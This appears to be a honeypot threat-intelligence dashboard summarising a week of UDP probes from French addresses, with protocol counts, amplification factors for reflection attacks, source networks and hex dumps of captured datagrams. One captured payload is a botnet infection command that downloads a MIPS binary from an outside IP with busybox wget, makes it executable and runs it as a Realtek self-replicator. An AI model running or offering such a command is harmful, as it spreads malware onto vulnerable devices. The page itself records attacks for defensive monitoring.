UDP traffic

Datagrams matching country:FR sent to HoneyLabs sensors over UDP in the last 7 days. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.

A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.

Clear search

481

Datagrams

109

Source addresses

Networks

Countries

152

Destination ports

Traffic by type

Service queries

112 datagrams from 25 sources

Requests a service answers without a handshake. Scanners send them to find open DNS, NTP, SNMP or SSDP servers, which are also the servers reflection attacks abuse.

SNMP 41 NetBIOS 27 DNS 22 NTP 4 CoAP 4 Sun RPC 4 SOAP 4 CLDAP 3 SSDP 3

Latest SNMP datagram, to 161/udp

0)·public·N%·b·0·0·+·

payload bytes

00000000  30 29 02 01 00 04 06 70  75 62 6c 69 63 a0 1c 02  |0).....public...|
00000010  04 4e 25 86 62 02 01 00  02 01 00 30 0e 30 0c 06  |.N%.b......0.0..|
00000020  08 2b 06 01 02 01 01 01  00 05 00                 |.+.........|

Other services

108 datagrams from 47 sources

First packets of sessions with VPN, voice, tunnelling, database and management services.

SIP 54 SOCKS5 37 XDMCP 4 DTLS 4 GTP-U 4 DCE/RPC 3 Redis 2

Latest SIP datagram, to 5060/udp

REGISTER sip:chinamobile.com SIP/2.0 Via: SIP/2.0/UDP 51.178.198.251:4040;branch=z9hG4bK123 Max-Forwards: 70 From: <sip:me@chinamobile.com>;tag=12563 To: <sip:me@chinamobile.com> Call-ID: 3nPj9eWOvFlpMHn CSeq: 1 REGISTER Contact: <sip:me@51.178.198.251:4040> Expires: 3600 Allow: INVITE, ACK

payload bytes

00000000  52 45 47 49 53 54 45 52  20 73 69 70 3a 63 68 69  |REGISTER sip:chi|
00000010  6e 61 6d 6f 62 69 6c 65  2e 63 6f 6d 20 53 49 50  |namobile.com SIP|
00000020  2f 32 2e 30 0d 0a 56 69  61 3a 20 53 49 50 2f 32  |/2.0..Via: SIP/2|
00000030  2e 30 2f 55 44 50 20 35  31 2e 31 37 38 2e 31 39  |.0/UDP 51.178.19|
00000040  38 2e 32 35 31 3a 34 30  34 30 3b 62 72 61 6e 63  |8.251:4040;branc|
00000050  68 3d 7a 39 68 47 34 62  4b 31 32 33 0d 0a 4d 61  |h=z9hG4bK123..Ma|
00000060  78 2d 46 6f 72 77 61 72  64 73 3a 20 37 30 0d 0a  |x-Forwards: 70..|
00000070  46 72 6f 6d 3a 20 3c 73  69 70 3a 6d 65 40 63 68  |From: <sip:me@ch|
00000080  69 6e 61 6d 6f 62 69 6c  65 2e 63 6f 6d 3e 3b 74  |inamobile.com>;t|
00000090  61 67 3d 31 32 35 36 33  0d 0a 54 6f 3a 20 3c 73  |ag=12563..To: <s|
000000a0  69 70 3a 6d 65 40 63 68  69 6e 61 6d 6f 62 69 6c  |ip:me@chinamobil|
000000b0  65 2e 63 6f 6d 3e 0d 0a  43 61 6c 6c 2d 49 44 3a  |e.com>..Call-ID:|
000000c0  20 33 6e 50 6a 39 65 57  4f 76 46 6c 70 4d 48 6e  | 3nPj9eWOvFlpMHn|
000000d0  0d 0a 43 53 65 71 3a 20  31 20 52 45 47 49 53 54  |..CSeq: 1 REGIST|
000000e0  45 52 0d 0a 43 6f 6e 74  61 63 74 3a 20 3c 73 69  |ER..Contact: <si|
000000f0  70 3a 6d 65 40 35 31 2e  31 37 38 2e 31 39 38 2e  |p:me@51.178.198.|

Unrecognised

255 datagrams from 76 sources

Datagrams no decoder recognised. Their first bytes are kept.

Unrecognised 255

Latest Unrecognised datagram, to 8082/udp

·.[b·K5T·1u·U4·^+·VNr,N z ·Tcda}·,2VCcKZ8·l·+omza·Hn·Ro'Zq·

payload bytes

00000000  00 2e 5b 62 0c 1a 1e 4b  35 54 17 31 75 17 55 34  |..[b...K5T.1u.U4|
00000010  11 5e 2b 03 56 4e 72 2c  4e 0d 7a 09 01 14 08 01  |.^+.VNr,N.z.....|
00000020  54 63 64 61 7d 02 2c 32  56 43 63 4b 5a 38 00 6c  |Tcda}.,2VCcKZ8.l|
00000030  17 2b 6f 6d 7a 61 19 48  6e 13 52 6f 27 5a 71 12  |.+omza.Hn.Ro'Zq.|
00000040  d3                                                |.|

Peer-to-peer

6 datagrams from 4 sources

File-sharing clients trying to reach a peer that used one of these addresses before. This is not scanning, so it is left out of every other figure on this page.

BitTorrent 6

Amplification checks

Probes for services that answer a small request with a much larger reply, the property reflection attacks rely on.

Service	Port	Datagrams	Sources	Factor
SNMPv2	161/udp	41	7	6.3
mDNS	5353/udp	10	7	2 to 10
Memcached	11211/udp	11	6	10,000 to 51,000
SSDP	1900/udp	6	5	30.8
NetBIOS	137/udp	27	4	3.8
DNS	53/udp	20	4	28 to 54
NTP	123/udp	4	4	556.9
Portmap	111/udp	4	3	7 to 28
WS-Discovery	3702/udp	4	3	10 to 500
CLDAP	389/udp	3	3	56 to 70
RIPv1	520/udp	2	2	131.24

The factor is how many bytes a reachable server can send back for each byte it receives, as published by CISA in alert TA14-017A.

Destination ports

5060/udp SIP54
161/udp SNMP41
137/udp NetBIOS27
53/udp DNS20
8082/udp13
11211/udp Memcached11
1434/udp MSSQL Browser11
5353/udp mDNS10
4000/udp10
443/udp QUIC9
1027/udp8
6881/udp BitTorrent8

DNS questions

DNS record types

TXT19
PTR2
ANY1

Networks

AS213412 ONYPHE SAS from 16 sources152
AS12876 Scaleway SAS from 9 sources106
AS3215 Orange from 24 sources44
AS16276 OVH SAS from 8 sources43
AS198545 Flex Network Sarl from 1 source35
AS12322 Free SAS from 15 sources30
AS15557 Societe Francaise Du Radiotelephone - SF from 15 sources21
AS51167 Contabo GmbH from 4 sources18
AS209334 Modat B.V. from 7 sources7
AS209479 Groupe Telecoms De L Ouest SAS from 1 source6

Countries

FR France481

Source addresses (unverified)

Address	Network	Cc	Sends	Datagrams	Last seen (UTC)
217.71.127.125	AS198545 Flex Network Sarl	FR	Unrecognised	35	2026-10-10 23:27
62.210.89.150	AS12876 Scaleway SAS	FR	Unrecognised	35	2026-10-11 04:06
62.210.90.215	AS12876 Scaleway SAS	FR	NetBIOS	23	2026-10-11 00:37
62.210.142.176	AS12876 Scaleway SAS	FR	DNS	17	2026-10-10 16:28
62.210.142.61	AS12876 Scaleway SAS	FR	SNMP	17	2026-10-08 17:39
5.39.125.103	AS16276 OVH SAS	FR	SIP	13	2026-10-10 22:40
91.231.89.92	AS213412 ONYPHE SAS	FR	Unrecognised	12	2026-10-10 20:03
91.231.89.89	AS213412 ONYPHE SAS	FR	Unrecognised	11	2026-10-10 20:06
91.231.89.91	AS213412 ONYPHE SAS	FR	Unrecognised	11	2026-10-11 00:28
91.231.89.166	AS213412 ONYPHE SAS	FR	Unrecognised	11	2026-10-10 09:39
91.231.89.88	AS213412 ONYPHE SAS	FR	Unrecognised	10	2026-10-10 16:37
91.231.89.93	AS213412 ONYPHE SAS	FR	Unrecognised	10	2026-10-10 23:33
91.231.89.160	AS213412 ONYPHE SAS	FR	Unrecognised	10	2026-10-10 23:49
91.231.89.90	AS213412 ONYPHE SAS	FR	Unrecognised	10	2026-10-10 23:36
91.231.89.164	AS213412 ONYPHE SAS	FR	Unrecognised	9	2026-10-10 02:40
91.231.89.165	AS213412 ONYPHE SAS	FR	Unrecognised	9	2026-10-10 06:09
91.231.89.167	AS213412 ONYPHE SAS	FR	Unrecognised	9	2026-10-10 13:08
91.231.89.94	AS213412 ONYPHE SAS	FR	Unrecognised	8	2026-10-09 05:44
91.231.89.162	AS213412 ONYPHE SAS	FR	Unrecognised	8	2026-10-09 19:41
91.231.89.95	AS213412 ONYPHE SAS	FR	Unrecognised	8	2026-10-09 09:13

Latest datagrams

2026-10-11 04:06:4562.210.89.150to 8082/udpUnrecognisedFR

·.[b·K5T·1u·U4·^+·VNr,N z ·Tcda}·,2VCcKZ8·l·+omza·Hn·Ro'Zq·

payload bytes

00000000  00 2e 5b 62 0c 1a 1e 4b  35 54 17 31 75 17 55 34  |..[b...K5T.1u.U4|
00000010  11 5e 2b 03 56 4e 72 2c  4e 0d 7a 09 01 14 08 01  |.^+.VNr,N.z.....|
00000020  54 63 64 61 7d 02 2c 32  56 43 63 4b 5a 38 00 6c  |Tcda}.,2VCcKZ8.l|
00000030  17 2b 6f 6d 7a 61 19 48  6e 13 52 6f 27 5a 71 12  |.+omza.Hn.Ro'Zq.|
00000040  d3                                                |.|

2026-10-11 03:06:3751.178.198.251to 5060/udpSIPFR

REGISTER sip:chinamobile.com SIP/2.0 Via: SIP/2.0/UDP 51.178.198.251:4040;branch=z9hG4bK123 Max-Forwards: 70 From: <sip:me@chinamobile.com>;tag=12563 To: <sip:me@chinamobile.com> Call-ID: 3nPj9eW

payload bytes

00000000  52 45 47 49 53 54 45 52  20 73 69 70 3a 63 68 69  |REGISTER sip:chi|
00000010  6e 61 6d 6f 62 69 6c 65  2e 63 6f 6d 20 53 49 50  |namobile.com SIP|
00000020  2f 32 2e 30 0d 0a 56 69  61 3a 20 53 49 50 2f 32  |/2.0..Via: SIP/2|
00000030  2e 30 2f 55 44 50 20 35  31 2e 31 37 38 2e 31 39  |.0/UDP 51.178.19|
00000040  38 2e 32 35 31 3a 34 30  34 30 3b 62 72 61 6e 63  |8.251:4040;branc|
00000050  68 3d 7a 39 68 47 34 62  4b 31 32 33 0d 0a 4d 61  |h=z9hG4bK123..Ma|
00000060  78 2d 46 6f 72 77 61 72  64 73 3a 20 37 30 0d 0a  |x-Forwards: 70..|
00000070  46 72 6f 6d 3a 20 3c 73  69 70 3a 6d 65 40 63 68  |From: <sip:me@ch|
00000080  69 6e 61 6d 6f 62 69 6c  65 2e 63 6f 6d 3e 3b 74  |inamobile.com>;t|
00000090  61 67 3d 31 32 35 36 33  0d 0a 54 6f 3a 20 3c 73  |ag=12563..To: <s|
000000a0  69 70 3a 6d 65 40 63 68  69 6e 61 6d 6f 62 69 6c  |ip:me@chinamobil|
000000b0  65 2e 63 6f 6d 3e 0d 0a  43 61 6c 6c 2d 49 44 3a  |e.com>..Call-ID:|
000000c0  20 33 6e 50 6a 39 65 57  4f 76 46 6c 70 4d 48 6e  | 3nPj9eWOvFlpMHn|
000000d0  0d 0a 43 53 65 71 3a 20  31 20 52 45 47 49 53 54  |..CSeq: 1 REGIST|
000000e0  45 52 0d 0a 43 6f 6e 74  61 63 74 3a 20 3c 73 69  |ER..Contact: <si|
000000f0  70 3a 6d 65 40 35 31 2e  31 37 38 2e 31 39 38 2e  |p:me@51.178.198.|
... 440 bytes shown in part

2026-10-11 02:58:07163.172.53.219to 9034/udpUnrecognisedFR

orf; cd /tmp; rm -rf mipsel; /bin/busybox wget http://58.211.144.243:800/mipsel; chmod +x mipsel; ./mipsel realtek.selfrep; #

payload bytes

00000000  6f 72 66 3b 20 63 64 20  2f 74 6d 70 3b 20 72 6d  |orf; cd /tmp; rm|
00000010  20 2d 72 66 20 6d 69 70  73 65 6c 3b 20 2f 62 69  | -rf mipsel; /bi|
00000020  6e 2f 62 75 73 79 62 6f  78 20 77 67 65 74 20 68  |n/busybox wget h|
00000030  74 74 70 3a 2f 2f 35 38  2e 32 31 31 2e 31 34 34  |ttp://58.211.144|
00000040  2e 32 34 33 3a 38 30 30  2f 6d 69 70 73 65 6c 3b  |.243:800/mipsel;|
00000050  20 63 68 6d 6f 64 20 2b  78 20 6d 69 70 73 65 6c  | chmod +x mipsel|
00000060  3b 20 2e 2f 6d 69 70 73  65 6c 20 72 65 61 6c 74  |; ./mipsel realt|
00000070  65 6b 2e 73 65 6c 66 72  65 70 3b 20 23 0a        |ek.selfrep; #.|

2026-10-11 02:51:555.196.61.130to 5060/udpSIPFR
OPTIONS sip:100@<HONEYPOT> SIP/2.0 Via: SIP/2.0/UDP 5.196.61.130:5283;branch=z9hG4bK-3231253739;rport Content-Length: 0 From: "sipvicious"<sip:100@1.1.1.1>;tag=3035616662373834313363340134323537323
Payload bytes withheld: they contain the sensor's address.

2026-10-11 02:13:0462.210.89.150to 8082/udpUnrecognisedFR

&.oIF%·S16}?·1·BMv!K3VU;>>{·Rr4oa}5·8>·wA6 EyV;·!opv*.4&<·I

payload bytes

00000000  26 2e 6f 49 46 25 0b 53  31 36 7d 3f 03 31 11 04  |&.oIF%.S16}?.1..|
00000010  42 4d 76 21 4b 33 56 55  3b 3e 3e 7b 0e 52 72 34  |BMv!K3VU;>>{.Rr4|
00000020  6f 61 7d 35 07 08 08 38  3e 05 77 41 36 09 45 79  |oa}5...8>.wA6.Ey|
00000030  56 3b 1a 21 6f 70 76 2a  2e 34 26 3c 06 18 df 49  |V;.!opv*.4&<...I|

2026-10-11 01:31:3451.178.198.251to 5060/udpSIPFR

REGISTER sip:chinamobile.com SIP/2.0 Via: SIP/2.0/UDP 51.178.198.251:4040;branch=z9hG4bK123 Max-Forwards: 70 From: <sip:me@chinamobile.com>;tag=12563 To: <sip:me@chinamobile.com> Call-ID: I6kJoS2

payload bytes

00000000  52 45 47 49 53 54 45 52  20 73 69 70 3a 63 68 69  |REGISTER sip:chi|
00000010  6e 61 6d 6f 62 69 6c 65  2e 63 6f 6d 20 53 49 50  |namobile.com SIP|
00000020  2f 32 2e 30 0d 0a 56 69  61 3a 20 53 49 50 2f 32  |/2.0..Via: SIP/2|
00000030  2e 30 2f 55 44 50 20 35  31 2e 31 37 38 2e 31 39  |.0/UDP 51.178.19|
00000040  38 2e 32 35 31 3a 34 30  34 30 3b 62 72 61 6e 63  |8.251:4040;branc|
00000050  68 3d 7a 39 68 47 34 62  4b 31 32 33 0d 0a 4d 61  |h=z9hG4bK123..Ma|
00000060  78 2d 46 6f 72 77 61 72  64 73 3a 20 37 30 0d 0a  |x-Forwards: 70..|
00000070  46 72 6f 6d 3a 20 3c 73  69 70 3a 6d 65 40 63 68  |From: <sip:me@ch|
00000080  69 6e 61 6d 6f 62 69 6c  65 2e 63 6f 6d 3e 3b 74  |inamobile.com>;t|
00000090  61 67 3d 31 32 35 36 33  0d 0a 54 6f 3a 20 3c 73  |ag=12563..To: <s|
000000a0  69 70 3a 6d 65 40 63 68  69 6e 61 6d 6f 62 69 6c  |ip:me@chinamobil|
000000b0  65 2e 63 6f 6d 3e 0d 0a  43 61 6c 6c 2d 49 44 3a  |e.com>..Call-ID:|
000000c0  20 49 36 6b 4a 6f 53 32  4d 67 67 50 33 7a 6e 39  | I6kJoS2MggP3zn9|
000000d0  0d 0a 43 53 65 71 3a 20  31 20 52 45 47 49 53 54  |..CSeq: 1 REGIST|
000000e0  45 52 0d 0a 43 6f 6e 74  61 63 74 3a 20 3c 73 69  |ER..Contact: <si|
000000f0  70 3a 6d 65 40 35 31 2e  31 37 38 2e 31 39 38 2e  |p:me@51.178.198.|
... 440 bytes shown in part

2026-10-11 00:37:3462.210.90.215to 137/udpNetBIOSFR

NetBIOS node status query *

payload bytes

00000000  52 17 00 00 00 01 00 00  00 00 00 00 20 43 4b 41  |R........... CKA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 41 00 00 21  |AAAAAAAAAAAAA..!|
00000030  00 01                                             |..|

2026-10-11 00:36:5162.210.89.150to 5060/udpUnrecognisedFR

].(Z·y· b2i^·R·mYz·k·%\;$O·F,5o·9h Fu·x^a·1`·IM_ChKH '·1v x"?g)xOI>EK6#,7T·>·Z·aBh*P·.·

payload bytes

00000000  5d 2e 28 5a 03 79 19 0d  0d 62 32 69 5e 08 52 7f  |].(Z.y...b2i^.R.|
00000010  05 18 6d 59 7a 1b 6b 05  25 5c 3b 24 4f 05 46 2c  |..mYz.k.%\;$O.F,|
00000020  35 6f 06 39 68 20 46 75  02 78 5e 61 01 31 60 06  |5o.9h Fu.x^a.1`.|
00000030  49 4d 5f 43 68 4b 48 0d  27 04 31 76 09 78 22 3f  |IM_ChKH.'.1v.x"?|
00000040  67 29 78 4f 49 3e 45 4b  36 23 2c 37 54 0c 3e 1e  |g)xOI>EK6#,7T.>.|
00000050  5a 1d 61 42 68 2a 50 0f  2e 01 86 ae              |Z.aBh*P.....|

2026-10-11 00:36:0362.210.90.215to 137/udpNetBIOSFR

NetBIOS node status query *

payload bytes

00000000  08 91 00 00 00 01 00 00  00 00 00 00 20 43 4b 41  |............ CKA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 41 00 00 21  |AAAAAAAAAAAAA..!|
00000030  00 01                                             |..|

2026-10-11 00:28:3091.231.89.91to 500/udpUnrecognisedFR

·"3DUfw·$·$·$·$·

payload bytes

00000000  00 11 22 33 44 55 66 77  00 00 00 00 00 00 00 00  |.."3DUfw........|
00000010  01 10 02 00 00 00 00 00  00 00 00 c0 00 00 00 a4  |................|
00000020  00 00 00 01 00 00 00 01  00 00 00 98 01 01 00 04  |................|
00000030  03 00 00 24 01 01 00 00  80 01 00 05 80 02 00 02  |...$............|
00000040  80 03 00 01 80 04 00 02  80 0b 00 01 00 0c 00 04  |................|
00000050  00 00 00 01 03 00 00 24  02 01 00 00 80 01 00 05  |.......$........|
00000060  80 02 00 01 80 03 00 01  80 04 00 02 80 0b 00 01  |................|
00000070  00 0c 00 04 00 00 00 01  03 00 00 24 03 01 00 00  |...........$....|
00000080  80 01 00 01 80 02 00 02  80 03 00 01 80 04 00 02  |................|
00000090  80 0b 00 01 00 0c 00 04  00 00 00 01 00 00 00 24  |...............$|
000000a0  04 01 00 00 80 01 00 01  80 02 00 01 80 03 00 01  |................|
000000b0  80 04 00 02 80 0b 00 01  00 0c 00 04 00 00 00 01  |................|

2026-10-10 23:51:5878.232.50.178to 5353/udpDNSFR

DNS query PTR _services._dns-sd._udp.local

payload bytes

00000000  00 00 01 00 00 01 00 00  00 00 00 00 09 5f 73 65  |............._se|
00000010  72 76 69 63 65 73 07 5f  64 6e 73 2d 73 64 04 5f  |rvices._dns-sd._|
00000020  75 64 70 05 6c 6f 63 61  6c 00 00 0c 00 01        |udp.local.....|

2026-10-10 23:49:4891.231.89.160to 443/udpUnrecognisedFR
request_dtls
payload bytes
```
00000000  72 65 71 75 65 73 74 5f  64 74 6c 73              |request_dtls|
```
2026-10-10 23:36:1291.231.89.90to 1434/udpUnrecognisedFR
·
payload bytes
```
00000000  02                                                |.|
```

2026-10-10 23:33:1191.231.89.93to 17185/udpUnrecognisedFR

· ·UUUU·U·<·

payload bytes

00000000  1a 09 fa ba 00 00 00 00  00 00 00 02 55 55 55 55  |............UUUU|
00000010  00 00 00 01 00 00 00 01  00 00 00 00 00 00 00 00  |................|
00000020  00 00 00 00 00 00 00 00  ff ff 55 12 00 00 00 3c  |..........U....<|
00000030  00 00 00 01 00 00 00 02  00 00 00 00 00 00 00 00  |................|

2026-10-10 23:27:10217.71.127.125to 8082/udpRedisFR

$.&"R·)jTiC]·@l58WI`·=S· +!·#-·Gd<i6M· !{d·$kD\B <YK·sX;·t^B &&G·\·"}6·a5,· pbc}·<H./!iD·H· n·

payload bytes

00000000  24 2e 26 22 52 11 29 6a  54 69 43 5d 13 40 6c 35  |$.&"R.)jTiC].@l5|
00000010  38 57 49 60 16 3d 53 1a  0d 2b 21 1c 23 2d 16 47  |8WI`.=S..+!.#-.G|
00000020  64 3c 69 36 4d 12 20 21  7b 64 7f 0e 24 6b 44 5c  |d<i6M. !{d..$kD\|
00000030  42 0d 3c 59 4b 10 73 58  3b 14 74 5e 42 0a 26 26  |B.<YK.sX;.t^B.&&|
00000040  47 0f 5c 14 22 7d 36 1d  61 35 2c 05 20 70 62 63  |G.\."}6.a5,. pbc|
00000050  7d 1e 3c 48 2e 2f 21 69  44 15 48 06 20 6e cb 1e  |}.<H./!iD.H. n..|